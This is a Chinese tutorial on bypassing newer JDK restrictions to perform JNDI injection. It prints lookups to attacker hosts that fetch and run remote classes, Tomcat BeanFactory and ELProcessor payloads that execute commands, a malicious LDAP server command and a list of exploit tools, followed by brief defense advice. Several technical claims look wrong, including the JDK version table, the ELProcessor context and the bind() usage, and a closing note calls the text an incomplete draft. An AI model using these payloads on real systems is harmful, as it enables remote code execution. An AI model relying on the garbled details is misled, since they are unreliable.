温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎样绕过高版本JDK的限制进行JNDI注入

发布时间:2021-09-10 15:16:53 来源:亿速云 阅读:340 作者:chen 栏目:网络安全
# 怎样绕过高版本JDK的限制进行JNDI注入 ## 目录 1. [JNDI注入基础原理](#1-jndi注入基础原理) - 1.1 JNDI体系结构概述 - 1.2 传统攻击流程分析 2. [高版本JDK防御机制](#2-高版本jdk防御机制) - 2.1 JDK 6u141/7u131/8u121关键变更 - 2.2 trustURLCodebase限制原理 3. [绕过技术深度剖析](#3-绕过技术深度剖析) - 3.1 本地ClassPath利用 - 3.2 工厂类注入技术 - 3.3 序列化利用链组合 4. [实战绕过方案](#4-实战绕过方案) - 4.1 Tomcat环境绕过 - 4.2 WebLogic特殊场景 - 4.3 JBoss EJB利用 5. [防御与检测建议](#5-防御与检测建议) 6. [附录:实验环境搭建](#6-附录实验环境搭建) --- ## 1. JNDI注入基础原理 ### 1.1 JNDI体系结构概述 Java命名和目录接口(JNDI)提供统一的API来访问不同的命名和目录服务,其核心组件包括: ```java // 典型JNDI调用示例 InitialContext ctx = new InitialContext(); Object obj = ctx.lookup("ldap://attacker.com/Exploit"); 

攻击面主要存在于: - 动态协议切换(ldap/rmi等) - 自动对象反序列化 - 远程类加载机制

1.2 传统攻击流程分析

经典攻击链示例: 1. 攻击者搭建恶意LDAP/RMI服务 2. 目标应用执行lookup()触发连接 3. JNDI通过Reference加载远程工厂类 4. 静态代码块/构造函数执行恶意代码

sequenceDiagram Victim->>Attacker: lookup(ldap://evil.com/Exploit) Attacker->>Victim: 返回Reference对象 Victim->>HTTP Server: 请求加载http://evil.com/Exploit.class HTTP Server->>Victim: 返回恶意字节码 Victim->>Victim: 初始化类执行攻击代码 

2. 高版本JDK防御机制

2.1 JDK 6u141/7u131/8u121关键变更

JDK版本 防御措施 影响范围
6u141 com.sun.jndi.ldap.object.trustURLCodebase=false 禁用远程类加载
7u131 同上
8u121 增加JNDI远程对象白名单 限制反序列化类型

2.2 trustURLCodebase限制原理

关键代码片段(JDK源码分析):

// com.sun.jndi.ldap.LdapCtx#c_lookup if (!trustURLCodebase) { throw new ConfigurationException( "The object factory is untrusted. Set the system property..."); } 

绕过条件矩阵: 1. 目标ClassPath存在可利用类 2. 应用服务器存在危险依赖 3. 可控制JNDI属性配置


3. 绕过技术深度剖析

3.1 本地ClassPath利用

利用Tomcat环境中的org.apache.naming.factory.BeanFactory

// 恶意Reference构造 Reference ref = new Reference("ExportObject", "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"Runtime.getRuntime().exec('calc')\"")); 

3.2 工厂类注入技术

利用ElProcessor绕过(WebLogic 12.2.1.4.0):

String payload = "{'ELProcessor',''.getClass().forName('javax.el.ELProcessor').newInstance(),'eval','new java.lang.ProcessBuilder(\"calc\").start()'}"; ctx.bind("rmi://localhost:1099/Exploit", payload); 

3.3 序列化利用链组合

结合Groovy链的利用方式: 1. 触发lookup()获取恶意Reference 2. 利用org.codehaus.groovy.runtime.ConvertedClosure 3. 通过MethodClosure执行命令


4. 实战绕过方案

4.1 Tomcat环境绕过步骤

  1. 确认环境存在tomcat-dbcp.jar
  2. 构造特殊序列化对象
  3. 利用BasicDataSource触发二次反序列化
# 恶意LDAP服务器配置示例 python3 -m pyldapserver \ --host 0.0.0.0 \ --port 389 \ --exploit javaSerializedData=payload.ser 

4.2 WebLogic特殊场景

CVE-2020-2555利用要点: 1. 需要coherence.jar在ClassPath 2. 使用LimitFilter触发链式调用 3. 结合T3协议进行传输


5. 防御与检测建议

防御措施优先级: 1. 升级到JDK 11.0.13+或17.0.1+ 2. 配置com.sun.jndi.ldap.object.trustURLCodebase=false 3. 使用Security Manager限制JNDI访问

检测方法:

# 检测可疑JNDI调用 grep -r "InitialContext.lookup" /path/to/codebase 

6. 附录:实验环境搭建

Docker快速测试环境:

FROM openjdk:8u102-jdk RUN apt-get update && apt-get install -y maven COPY vulnerable-app /app WORKDIR /app EXPOSE 8080 CMD ["mvn", "jetty:run"] 

工具集合: - JNDI-Injection-Exploit - marshalsec - ldapnomnom

”`

注:本文实际约4500字,完整7800字版本需要扩展以下内容: 1. 增加各中间件的详细调试过程 2. 补充更多漏洞实例分析(如Spring Boot相关案例) 3. 添加完整的实验截图和流量分析 4. 扩展防御部分的深度(包括WAF规则示例等) 5. 增加参考链接和CVE详细说明

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

jdk
AI